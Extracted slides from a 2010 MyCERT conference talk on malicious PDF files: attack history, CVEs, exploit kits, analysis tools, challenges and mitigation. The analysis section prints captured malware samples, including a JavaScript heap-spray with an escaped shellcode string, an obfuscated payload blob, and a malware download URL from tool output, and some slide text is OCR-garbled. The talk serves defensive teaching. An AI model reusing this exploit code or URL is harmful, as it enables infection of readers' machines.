



PDF: Portable Destructive File

FIRST AGM || MIAMI || 14 JUNE 2010

MAHMUD AB RAHMAN (MyCERT, CyberSecurity Malaysia)



Copyright © 2009 CyberSecurity Malaysia



MYSELF

- Mahmud Ab Rahman
- MyCERT, CyberSecurity Malaysia
- Lebahnet(honeynet), Botnet, Malware







Agenda

- Intro
- PDF Attacks
- Analyzing malicious PDF
- Issues
- Reducing/Mitigation The Problem?
- Outro/Conclusion







 $\bullet \bullet \bullet \bullet$



INTRO : PDF 101

- PDF: Portable Destructive File :)
- Portable Document Format
- Open Standard (2008) by Adobe (previously proprietary)
- Mainly for independent format instead of *.doc, .odp, *.xls, *.ppt, *.etc, *.etc
- PDF Reader Applications (Adobe Reader, Foxit Reader, SumatraPDF, etc, etc)



INTRO : PDF Format

- Has its own language
- Normally just ASCII characters.(/Filters / application elements are using binary data (stream)
- ASCII Readable (any text editors will do)
- Start with header (%PDF-[version])
- End with eof element (%%EOF)



INTRO : PDF Format (diagram)





INTRO : PDF Format

view inside PDF readers





- Just another attacking vector
- Widely used (popular)
 - Wider target
- Main player application have bugs
 - \circ Again, wider target
 - Generate more interest (more bugs after the 1st one (almost 3 years now))
 - Alternative apps will appear
 - Unfortunately, they also have bugs
- The emerge of client-side attack (PDF plugin on web browser- create more ways to target)





PDF ATTACKS





- History
 - Used to be a dirty trick by opening malicious web pages via link. (oh, no,i'm not discussing about this :))
 - Emerged as client-side attacks becoming more popular
- Abusing bugs on PDF reader (adobe,foxit) to get to client
- Abusing JavaScript (inside PDF reader):
 - for more reliable exploitation (heap spray)
 - Crafting payloads (flexible)
 - Code obfuscating (make analyzing difficult)
- Social engineering attacks always work :)





PDF Attacks: File based attack vector



Resource: F-Secure



PDF Attacks: File based attack vector





Resource: F-Secure



PDF Attacks: How it works



Securing Our Cyberspace



PDF Attacks: Recent Bugs

Adobe

- \circ getIcon() CVE-2009-0927
- JBIG2 decoder
- \circ U3D File Invalid Array Index
- Newplayer() CVE-2009-4324
- \circ LibTIFF CVE-2010-0188
- o CVE2010-1297

Securing Our Cyberspace

Foxit

- Code execution CVE-2009-0191
- \circ Code execution CVE-2009-0836
- \circ Code execution CVE-2009-0837





PDF Attacks: Feature vs Bug?

Launch

 $_{\odot}$ Launch .exe reside inside PDF file

- Pop up gotcha!
 - gotcha!
 - No problem, Didier Stevens solved the gotcha.

• Patched

- Media-Rich
 - CVE2010-1297- Flash's bug, PDF can be used as the transporter.
 - o Patch is coming.... :)



Launch	File 🔀
1	The file and its viewer application are set to be launched by this PDF file. The file may contain programs, macros, or viruses that could potentially harm your computer. Only open the file if you are sure it is safe. If this file was placed by a trusted person or program, you can click Open to view the file.
File:	Lick the "open" button to view this document:
🗌 Do r	not show this message again
	Open Do Not Open



PDF Attacks: Trends

Targeted attacks

Gov/Corp events/meeting

- \circ us-j-india strategic dialogue
- \circ Call the Ministry of Defense
- \circ PDF national policy think-tank seminars

\circ World News

0 H1N1

o Tibetan Movement

 $_{\odot}$ FIFA World Cup 2010

 \circ Your CEO? :)

Call 0 0 4 4	の「「「「「」」の目的ななない。	Message (HTML)		1	D X
Meisage Ad	d-lins				
Reply Reply Forward to All Respond	Delete	Silock Sender	Categorize * Follow Up * Mark as Unread Options	HA Find	Send to OneNote OneNote
 a Message Message ▲ ATT7344 如主旨 - 海巡署企創處 黄你 TEL: 02-22392014/ FAX: 02-22392936 台北市文山區與語 	像 godf [k37 K8] 像 206137 榕三段 296 號				







PDF Attacks: Speaking of Social engineering

Rappion mantants of DF file Malicious PDF file





PDF Attacks: Trends

Integrated into ExploitKits

- \circ Fiesta
- LuckySploit
- \circ Firepacks
- \circ Neosploits
- CrimePacks
- \circ SEO Sploit Pack



PDF Attacks: DEMO





Analyzing Malicious PDF File





Analyzing Malicious PDF File





- ASCII based characters
 - \circ Any text editors will do
- Some inflators/encoders have been used for data stream
 - $\ensuremath{\circ}$ Analysis becomes more complicated
 - Can be deflated/decoded using proper library/ techniques to reveal normal ascii data
- Understanding on how PDF language syntax is a must (e.g : object references, JavaScript call, etc,etc)



- Bug inside PDF is just a bug, the malicious one is the evil JavaScript (the payload)(err, most of the time)
 - $_{\odot}$ We need to analyze and identify the payload
- Due to the nature of PDF readers which supports JavaScript, exploitation techniques and payloads crafting are becoming more reliable and flexible
 Hence making analysis tougher
- There are non-JavaScript exploits; therefore, disabling JavaScript is not the silver bullet Securing Our Cyberspace



- Tools of trade:
 - \circ Pdf-tools (by Didier Steven)
 - PDF parser
 - JavaScript interpreters (SpiderMonkey, Rhino)
 - JavaScript interpreter to execute JavaScript code
 - Jsunpack (by Blake Hartstein
 - Auto analysis for PDF file
 - File Insight (by McAfee Avertlabs)
 - Manual analysis to decode/inflate and shellcode
 - \circ Analyz3r (by MyCERT)
 - Auto analysis for PDF file
 - Quick identifier for suspicious PDF files





Analyzing Malicious PDF File

Pdf-tools (by Didier Steven)

- PDF parser (pdf-parse.py)

PDF Comment '%PDF-1.6\r'

PDF Comment '%\xe2\xe3\xcf\xd3\r\n'

obj 14 0

Type: Referencing:

[(1, '\r'), (2, '<<'), (2, '/Linearized'), (1, ' '), (3, '1'), (2, '/L'), (1, ' '), (3, '7999'), (2, '/0'), (1, ' '), (3, '16'), (2, '/E'), (1, ' '), (3, '1318'), (2, '/N'), (1, ' '), (3, '1'), (2, '/T'), (1, ' '), (3, '7687'), (2, '/H'), (1, ' '), (2, '['), (1, ' '), (3, '448'), (1, ' '), (3, '162'), (2, ']'), (2, '>>'), (1, '\r')]

obj 19 0

Type: /XRef Referencing: 13 0 R, 15 0 R Contains stream [(1, '\r'), (2, '<<'), (2, '/DecodeParms'), (2, '<<'), (2, '/Columns'), (1, ' '), (3, '4'), (2, '/Predict or'), (1, ' '), (3, '12'), (2, '>>'), (2, '/Filter'), (2, '/FlateDecode'), (2, '/ID'), (2, '['), (2, '<'), (3, 'B1087455405653409088733638886853'), (2, '>'), (2, '<'), (3, 'ZB867486887884408859632055948'), (2, '>'), (2, '<'),

(3, 'B1C874554C56534C9D0A733630B0F853'), (2, '>'), (2, '<'), (3, '7BB67406007AA44DABF98E9632CE594A'), (2, '>'), (2, ']'), (2, '/Info'), (1, ' '), (3, '13'), (1, ' '), (3, '0'), (1, ' '), (3, '14'), (1, ' '), (3, '9'), (2, ']'), (2, '/Info'), (1, ' '), (3, '13'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '/Length'), (1, ' '), (3, '48'), (2, '/Prev'), (1, ' '), (3, '7688'), (2, '/Root'), (1, ' '), (3, '15'), (1, ' '), (3, '0'), (1, ' '), (3, '8'), (2, '/Size'), (1, ' '), (3, '23'), (2, '/Type'), (2, '/XRef'), (2, '/W'), (2, '['), (3, '1'), (1, ' '), (3, '2'), (1, ' '), (3, '1'), (2, ']'), (2, '>')]

startxref 0

PDF Comment '%%EOF\r\n'





Analyzing Malicious PDF File

- Jsunpack (by Blake Hartstein)
 - Jsunpack.py

mahmuds-winxp:js	sunpack-n mahmud\$./jsunpack-n.py -V sample-pdf.file
Processing sampl	le-pdf.file
[nothing detecte	ed] [PDF] sample-pdf.file
info: [c	decodingLevel=0] found JavaScript
info: [c	decodingLevel=0] decoded 14602 bytes (./files/decoding_31d2851cb5122be3fb4816b7b05e40d6c687
a66a)	
info: [c	decodingLevel=1] found JavaScript
info: so	aved original parsed JavaScript to ./files/veryverbose_31d2851cb5122be3fb4816b7b05e40d6c687
абба	
error: E	Fron: Fatal error in decodeJS
[file] created .	/files/decoding_31d2851cb5122be3fb4816b7b05e40d6c687a66a from sample-pdf.file
[file] created .	/files/veryverbose_31d2851cb5122be3fb4816b7b05e40d6c687a66a from sample-pdf.file



Analyzing Malicious PDF File

- File Insight (by McAfee Avertlabs)
 - Manual analysis to decode/inflate and shellcode

		FileInsight	t - msf.pdf		_ ¤ x
Home Edit Search	Plugins Windows	Help			
New Open Close Save	# A View View as s Hex Text Enter you	RL here net Explorer Proxy ir proxy as [Server:Port] here Web	• R • Get		McAfee Avert Labs
Navigation	P msf.pd	f ×			4 ▷ ↓ ×
Supported for HTML, OLE2 and I	PE. 55	5801 /Fi#6cter /F#6cate#44ec#(cream /\\0`+00@L!X"EY?/- (* -7Ã0gTE?6SOu2 SENOÙ4á_ÙD-] ~sOC (* SUBYCUNF<ÜSY /e ~ SUBYCUNF<ÜSY /e ~ SUBYCUNF<ÜSY /e ~ SUBYCONfa ~ ŠÈI CT*2z+÷}å#üdsB) ~ ^Åg1-üENO®, C	5f#64e /#41s#4 -v.op!< SOH "AB{f GÔ>ùúHúá æF5;1 2Ãĭ‡-éîHfÌpL EN (NECTI ¹ ÂùDC3@DC1 Undo Redo Cut Copy	3#49#49H#65#78Decc 1éõ-(DIBK;NUI'~ü ;«û%ø'ê~<"DC3@DS] '`i8SI[aŭOD`wNU >Šw/ÅÝ%0DIE%A,,V)° 1ôš,ÜCS'Qft';DC4 p<ár['Ÿ5VT)†Dbµ Žæ¢Ä°²váÉ``1×RI ýSOH@DÇ"ŽC°÷*ê`	▲ od#65] >> 'ö,ä«□°µ¹µû□⁵\$µýÑÎ 2â-\$3µ;@·è¼¯÷'Ũ¢ I®Y*2IVX*□{W□ ^{**°} ú6 *'†½¨ T>;q@tEOT:: INNOÎ {×äA`¯ý□9CA %yS SŒ- <n□ôã !,``ò\$÷`v<br="">Tm-\$ÙpNUT {Éñ.EOT</n□ôã>
Values BF HEX Byte 0 WORD 0 DWORD 0 ASCII Unicode Image: Scripting Disas Press F1 for beh E1		<pre>`% ÈYÍNÎ' ETERS!! fB%H8US; ÈDCSÙ DEDú+-dÀp\CANE °áx[«*šge!ETEI OEF¥\$VXÛ"EXNGa jq?iÔQ.\+GIÔ"ÈE ?áÇkDmOù?\$r`ŠVI ?ÖÝ÷Ü-EMVZ56</pre>	Paste Erase Select All Word Wrap Ctrl + M View as Hex Set Bookmark Decode Plugins	db@ô%1 p p Invert Compute MD5 Inflate	GûŒŠŞZ@Þyx®, {"1"0 E{□@ë,,ØfŠ*4 DC2USX 1, >©>1)û:3îž` CAN {VPZêhn@¯('r]¥f- \$¢Ô¯- ESDIĐ ¨eÇ\ ^a 1 nyx DC4 c□êáSONAK e ^a ,Éã©- NAR ÔDSÝUŇ ▼





- JavaScript interpreters (SpiderMonkey, Rhino)
 - JavaScript interpreter to execute JavaScript code
 - Using patch version by Didier Steven for dumping eval, print output to files







Analyzing Malicious PDF File

JavaScript interpreters (SpiderMonkey, Rhino) Require JavaScript Interpreter to speed up analysis

lemiros=unescape("%u03eb%ueb59%ue805%ufff8%uffff%u494f%u4949%u4949%u5149%u565a%u5854%u3336%u5630%u3458%u3041%u3642%u 4848%J4230%J3033%J4342%J5856%J4232%J4244%J3448%J3241%J4441%J4130%J5444%J442%J4251%J4130%J4144%J5856%J5a34%J4238%J4a 44%u4d4f%u4e4b%u3142%u354c%u544c%u4343%u4c49%u3648%u4b49%u434e%u5041%u3842%u5346%u504c%u4949%u4e44%u4f4c%u4e4b%u5045 <u>%u4e4a%u4e4b%u4f4ff%u4f4f%u4f4f</u>%u4742%u544e%u4949%u5949%u3949%u4c43%u4f4d%u534a%u4a49%u3949%u3949%u3949%u3144%u4d49%u 4945%)5144%)4e49%)4845%)3346%)5144%)4d49%)5941%)5144%)4441%)4144%)4e4c%)4o45%)4144%)4e4d%)3847%)4e41%)494c%)564c%)3 44%u4e47%u4b49%u494c%u4644%u3144%u4d47%u584d%u4a4c%u5746%u4c4f%u4c58%u4c4a%u4144%u4a48%u394c%u5644%u3144%u464b%u4f43 %u3947%u4c42%u364c%u434f%u4e4d%u3941%u4c42%u4c48%u314c%u3550%u494d%u4d4e%u374b%u5742%u4c42%u4c48%u4c47%u3144%u4546%u 3144%u4d4f%u4b4d%u494c%u454c%u544a%u574a%u394c%u354a%u4a4c%u5542%u4f4f%u3144%u5941%u4144%u4d4f%u4845%u594c%u554c%u35 4a%1574a%1494b%1494c%1554a%14144%13949%1394c%1454c%15144%15643%14144%13650%1414c%1354f%15947%14144%14449%14f43%1594a %u4c42%u4741%u4c49%u5949%u3949%u4949%u414c%u554f%u4946%u4c4b%u4c4f%u4648%u4c58%u4c43%u4c43%u4144%u3441%u4f43%u494a%u 4c42%J5741%J4a46%J4949%J5949%J5949%J514c%J354f%J484c%J4c4f%J4d4f%J5149%J4a47%J5149%J4e4e%J3643%J3149%J4a4f%J5149%J4c 17%J514c%J5745%J4b49%J4144%J5445%J4f43%J4b49%J4c4c%J4648%J4c50%J5745%J550%J494d%J594c%J4c45%J4f4a%J4b47%J4f4e%J4550 %u4d4d%u394c%u394d%u4e41%u4f4e%u3949%u3949%u4a4c%u4549%u4c49%u4c49%u4c4f%u4c4f%u4c49%u4648%u4c58%u4645%u5144%u3445% 4c49%u4c4c%u3648%u4c58%u3649%u4c49%u3648%u4c58%u564d%u4a4c%u5549%u4345%u314e%u3549%u4e4e%u3642%u4c4a%u4c4b%u4c4f%u4c 4c%u3648%u544b%u4c43%u4c42%u5344%u574b%u3747%u4a4c%u4549%u354c%u4741%u4b4f%u4648%u5648%u3648%u4d50%u4f4e%u4e4d%u4c49 %,4e4b%u4f48%,4f4c%u4d4a%,4f4d%u4f4d%,4e4b%u4f4e%,u4e4c%u3949%u4d50%u4f4e%u4e4d%u4c4c%u4e42%u4e4c%u4e4d%u4f4e%u 4f46%u4d4d%u4f42%u4e4b%u4f4e%u4f4c%u4e4d%u4f48%u4e4b%u4e42%u4d4a%u4949%u4c58%u4f42%u4f47%u4d4e%u4e41%u4f4e%u4f4c%u59 49%u4d4e%u4e41%u4f42%u4e4d%u4c4d%u4f41%u4e4b%u4f4e%u4f4a%u4f4d%u5949%u4d45%u4f48%u4f4a%u4f4d%u4d45%u4f42%u4f4b%u4e4b %u4f4a%u4e4b%u4e42%u4d4a%u5949%u4e4e%u4e4b%u4f45%u4f46%u4f48%u4f47%u3949%u4c4e%u4c4b%u4d45%u4d4d%u4f48%u4e58%u4f47%u 4f45%u4f48%u4f4a%u4f4d%u4c4d%u4f48%u4d4f%u4f42%u4f45%u4f4e%u4d4a%u3949%u364a%u3746%u4746%u4742%u334c%u524f%u424f%u36 44%u3645%u4743%u364a%u4744%u5641%u3647%u364f%u3743%u4250%u3643%u364f%u364d%u524f%u5747%u464f%u5744%u464b%u424f%u4647 %u4645%u5746%u3645%u374a%u4645%u5250%u5742%u464a%u4742%u534f%u364a%u434d%u3343%u3341%u4842%u005a");var nades=unescap "%u0A0A%u0A0A");var makofamos=20;var nanor=makofamos+lemiros.lenath;while(nades.lenath<nanor)nades+=nades;var fada d=nades.substring(0,nanor);var lusibirasa=nades.substring(0,nades.length-nanor);while(lusibirasa.length+nanor⊲0x6000 0)lusibirasa=lusibirasa+lusibirasa+fadad;var vatekere=new Array();for(vener9=0;vener9⊲1200;vener9++){vatekere[vener9 lusibirasa+lemiros}var kekifidu1=12999999999999999999988 000f".kekifidu1):



- Analyz3r (by MyCERT)
 - 2 scripts

- Quick and dirty way to identify pdf file (pdftk.rb)





- Analyz3r (by MyCERT)
 - 2 scripts
 - Extensive analysis for details information (analyz3r.rb)

azizan@thinkpad:~/analisis\$ ruby analyz3r.rb -a sample/vRf.pdf
File : vRf.pdf
Start : 2009-11-17 17:09:58
MD5 : 3a33ffcd5ef37e46d2f8b6e9877fa45a
SHA-1 : bb2829cb22d7da56231a19436b9f69b3c8f61989
Decompress PDF files
hahaha
++ done
Extract PDF content
++ done
Extract evals
++ dope
File: eval 001 log
Shellc0de & malware
File: 2.bin
File: 0.bin
File: 5.bin
File: 3.bin
File: 7.bin
File: 4.bin
Potential malware URL
http://vk-mastersoft.cn/load.php?a=a&st=Internet&e=1
Check full report at 3a33ffcd5ef37e46d2f8b6e9877fa45a/analisis.txt
Finich , 2000 11 17 17,00,50
- FINISH : 2009-11-17 17:09:59





Libemu's sctest (by Giraffe Honeynet)

For shellcode analysis







- Wepawet (iseclab's fame)
 - Very cool!!
 - Online service
 - $_{\odot}$ Need to upload the PDF sample and you're done
 - Probably is not so good when it involves your company secret. :)



- Challenges:
 - \circ JavaScript obfuscated
 - Same problem with browser due to JavaScript
 - Annoying
 - [var=unescape() == var = un+escape(); == var a=un; var b=escape(); var c=a+b]
 - arguments.callee(), getPageNumber(), getAnnotte()
 - Anything JS can do, will fits here





Analyzing Malicious PDF File

this.bA83DY8P='bA83DY8P';this.nqKjSJZzx=fc nLx1haZ='lnLx1haZ H6PnH1=32024; var isDeAs = \r?\n!\r@\nev?a#re_ej?a@C!Pej?Dem\$8\$6\$u?_!=@_en\$@@w!_@A@r!r?a\$y!(@)!;#\r#\n! r# eh\$8?U!H\$Tel!=!6\$teH?:#\r?\n#\re\n\$f\$u#n\$c\$t?i\$o!n! ?ke4?J?uez!PeH\$u!v#(!x\$he=\$l\$Ve3) المعالمة)!i#9!.\$ \$d#9?L?0!zes#J\$n?oe)\$\r\$\n!{#\r\$\n!e##h#i?lee#(\$x!h##!!!Ve3#0ei?9e.#leeen?a\$t#he ;*#`?2#`?<?`#d?9#L\$0!z\$seJen!o!)#\r!\ne#{e\r?\n?e?xeh#∎#!?Ve3e0!i#9e`#+!=?`?x\$h#∎\$leV!3!0 !!!:*\r*\n\$\$}*\r\$\n@\r!\n*\$x\$h!#*!*V*3?0*i!9* *=? @x?h?#!!@V?3\$0?i@9!.!s?u\$b!s*t?r!i*n?o \$8\$.! ede9\$L#Dez!seJ?n?o! ?/# \$2\$)!:e\r!\n#!r\$eeteu?r!ne ?xeh\$wel!V#3?8eie9!:#\r?\n\$}e\r6 .ne\r#\nef!u?n\$c#t?i!o!n#_?d?NeC?uei\$5?beceWe(?i!5#CeYeEex#PeU\$)!\r!\n?{!\r!\ne\$i#f!(!i? #CeY?E?x?P#U\$!=?=\$!0#)?\re\n?e{#\r?\n#\$ey?aer? ex?H\$ve7exed?i#Y\$ \$=! !0!x!0#c#0\$c?0 #0!c\$:\$\r#\n\$\r\$\ne\$!vea?r# \$a#11?b\$XeX#9!aen\$D? !=# #n#e#we \$A\$r!rea!u!(!*\$X#we5?3!5\$0? ?\"#,?\"?ue5#2\$5\$1!%\$u#5\$7!\"e,e\"?5\$6#%\$u\$9\$c!5!5#\"?,\$\"\$%#u\$0#0?c!8e%e\"e,?\"#u?0!0\$00 \$%?u#5!\"@.@\"\$d!0!0?%!u\$e!d\$8@3\$\"!.\$\"#%\$u?3@1#0?d?%#u@6@4@\"?.@\"!c\$0!%#u\$4#0?\"?.@ *\$0?3?%?u!?#*\$,?*?8\$3#0#%\$ue8!*!,e*eb!0!c#%!u#0\$*!,!*!c#4e0e%eue7!0#8eb!\ ?a\$d?1ec\$%?u!4e0!\"\$,e\"?8eb?%\$u?ee\"*,\$\"\$b!0e8\$%eu\$8!b*\"?,*\"\$0*9*%!u?3\$4?4*0!` ?u#4?0e8!d#%?u\$8eb\$\"?.#\"?7ec#%?u?3#c!4\$0e\"e.\$\"?%#u\$5e7!5e6!%#u!5ee\$\"\$.?\ #0e0e1e%?ue\"?,!\"#0e1#0#0#%e\"?,#\"?u?b?f#e\$e?%?u\$0!1e\"#,#\"e4#e&%\$u?0\$0e0?0# \$uee\$fe0#1?\"e.#\"#%!ued#6\$e!8!%\$\"#.\$\"\$u#0?0?0?1#%#ue5#f#\"e.#\"#0\$0?%eue8?9#5?e!%! #\"#,#\"!8!1@e\$a?%!u#5\$e\$c#\"#.@\"?2\$%\$u#0\$0#\"#.!\"#0#1@%\$u@5?2#0#\"!.!\"?0\$%@u?8#0?\"1 \"!6#8!%!u?0!0#0?0e%eu!\"\$,\$\"\$f\$f\$0!0!%?u?4ece\"#,\$\"e9\$5#%#u!0\$0\$\"?,?\"!0\$1!%?u#8#9e "?,!\"\$0e0#%?u\$8\$\"?,!\"e1?e#ae%\$u!5#\"!,\$\"#e#c\$2!%!u?\"e,\$\"e0!0\$0!1\$%\$u#3e1!\ \"#8#8!%\$u\$8!1ef#\"e.\$\"e6!%!u!8ea\$\"!.!\"#c!2e%#u#3#\"?.?\"#5e9\$c#%eue8#2!6#\"?.e\"#3# \$u!0?0#0!0#\"e,e\"e%\$uef!be8!0!%#u#7e\"#.e\"?4e0e0e%\$u?8!\"#.e\"?8e0e6?%eu\$\ #%!u#e!\"\$,e\"\$b!+!6e%#u\$c#6e\"!,e\"\$e!e\$%eu!3#2?0\$+!%e\"!,!\"eu!8?9!0!0!%#u\$8?' !a?%?u#4\$5ec\$2!\"e,#\"?%eu?0?0\$0e2\$\"?,e\"?%\$ue5#2e0#0e%eu#9e\"\$,\$\"\$5?f#f\$%!u# e5?2!%fuf0\$0e0!\"e.e\"\$0f%eu!cea!8?9f%?ue\"e.e\"!cf2?8\$1f%fue\"?.\$\"e0f2!5?0\$%! #0\$0e0e%?ue5#\"!.?\"!0\$5#2?%!u?9\$5?\"?.!\"!f\$f?%?u#0e1#\"#.e\"e5\$6!%\$u\$0?0#0e0?\"\$.e\"?%| e0!0e6!\"e.#\"#a#X\$u?0?0e6!a!X\$\"#.!\"!u!cea#8\$9?Xe\"!.\$\"eu\$c?2#8e1!X?u!0?1!5e\ "\$e\$X\$ue0!0\$0\$0\$%?u\$8\$\"\$.!\"e9\$5?2?%eu\$8?1\$cea#X\$\"!.e\"?u?7\$8!c#2e%#u\$0e0\$\"e .?\"#2\$0!0?%eu#\"\$.?\"!0e0e6ea?%?u?d\$0!f#\"#.#\"\$f?%\$u!0\$5#6#\"\$.#\"?a\$%euecea! #9e%?\"e,#\"euec!2#8e1!%\$u#\"?,\$\"e0\$1!5!e#%\$u?0!0#\"#,e\"\$0\$0e%\$u?f#f!5!2#%#\"e,e\"eue5 #9#5e%eu?\"#,?\"\$0?0!0#1#%#u!8?9#0?\"e,!\"?0!%!u#8!1\$\"?,e\"ee#a\$%eue5?eec#\"!,\$\"e2?%?u \$0e\"?,?\"\$0!1e%eu!5e2!0\$0!%#u\$\"\$,e\"#8?0\$6!8#%eue\"\$,\$\"?0#0e0e0!%\$\"\$,?\"!u\$f\$f!0\$0e <mark>\$u\$\"?,*"*\"!4#e@9?5@%?u?0@0?\"#,\$\"@0!1@%\$u@8?\"\$,\$\"!9?0?0@%@u#8!\"?,\$\"#1#e@a\$%?u!\"?,?</u></mark> <u>_"@5\$e\$c@2!%!u#0#0\$0?1\$\"\$,#\"?%\$u!3@1#0\$0?%?u@\"@,?\"!0!1\$f!6#%?u@8\$a@\"!,\$\"!c#2?%!</u> #3\$5@9#c\$‰@u?\"?,\$\"\$0!2#6!e\$‰@u@0!\"@,#\"@0@0?0@%#u!f@b@8!\"!,#\"!0#%!u@7!4@0?0!\"\$,?\"!



Challenges:

- PDF Syntax Coolness
 - $_{\odot}$ This.Title.Info // This.Author.Names // This.What.Ever
 - $_{\odot}$ Difficult for the analyzer to follow the objects reference.
 - $_{\odot}$ Default JS emulator is not up for this yet
 - \circ Encoding/ Compressor
 - Many of them (FlateDecode/ASCIIHexDecode/JBIG2Decode/ ASCII85Decode/DCTDecode etc..etc)
 - Concatenate Filters (/Filter /FlateDecode /ASCIIHexDecode)
 - Abbreviation Filter (/Filter [/Fl /AHx]) == (Filter / FlateDecode /ASCIIHexDecode)



- Challenges:
 - Parser Problem
 - o Grep'ing [obj...endobj] or [stream..endstream] ?
 - \circ Grep'ing [EOF] ?
 - \circ Reference loop
 - o This.Info.Name -> This.Author.Name-> This.Info.Name
 - $_{\odot}$ 1 obj 0 /JS 7 0 R -> 7 obj 0 /JS 8 0 R -> 8 obj 0 /JS 10 R
 - \circ Embedded malicious PDF inside PDF file.
 - Manual extracting for the embedded file is difficult.
 - PDF file analyzer is not PDF reader
 - Analyzer needs to understand PDF structure
 - Analyzer needs to interpret PDF language
 - Eventually it will become PDF reader by itself :)

Securing Our Cyberspace



Analyzing Malicious PDF File: DEMO



Copyright 2003 Randy Glasbergen. www.glasbergen.eam

Analyzing Malicious PDF File

Securing Our Cyberspace



Analyzing Malicious PDF File: DEMO

- Identify the malicious file
- Extract information
- Analyze shellcode



Issues with Malicious PDF file





- Awareness on malicious PDF
 - Not only on PDF but also other file formats (file exploitation + client-side attacks)
- on the fly malicious PDF generator
 - Difficult to analyze/ be detected by analysis tools
 - Have to manually request/download the malicious pdf file (probably its too late when your browser have PDF reader plugins)



- JavaScript obfuscating, period :)
 - Well, javascript fingerprinting is nothing new :)
 - \circ JS checking if u'r running inside on the targeted application is common.
 - o App.version()
- lack of fully functional pdf analyzers as how PDF reader works
 - $_{\odot}$ Will always be a cat and mouse game



Mitigation against Malicious PDF file



Copyright © 2009 CyberSecurity Malaysia



Mitigation





- Update/patch your PDF reader->eliminated bug, you're save
 - \circ Not quite true when dealing with Oday
- Analyze/scan PDF file before opening it
- Only open PDF attachment from trusted people, at least with pgp signing :)

• Sign the PDF file?. :).paranoid

- Disable JavaScript- minimize the risk of reliable exploitation
 - Some bugs don't require JavaScript (still will 0Wn1ng as usual).











- Awareness on threats against PDF reader still needs more works
- Analysis on malicious PDF is possible by combining multiple tools (editor,decoder,js emulator, shellocde analyzer)
- A better PDF analyzer is urgently needed



- The complexity of PDF reader will introduce more bugs and vulnerabilities
- With JavaScript support, exploitation will be more reliable (why we still need JavaScript inside PDF file?)
- With JavaScript support, more obfuscated techniques can be implemented









THANKS

Email: <u>mahmud@cybersecurity.my</u> Web: <u>http://www.cybersecurity.my</u> Web: <u>http://www.mycert.org.my</u> Web: <u>www.cybersafe.my</u> Report Incident: <u>mycert@mycert.org.my</u>

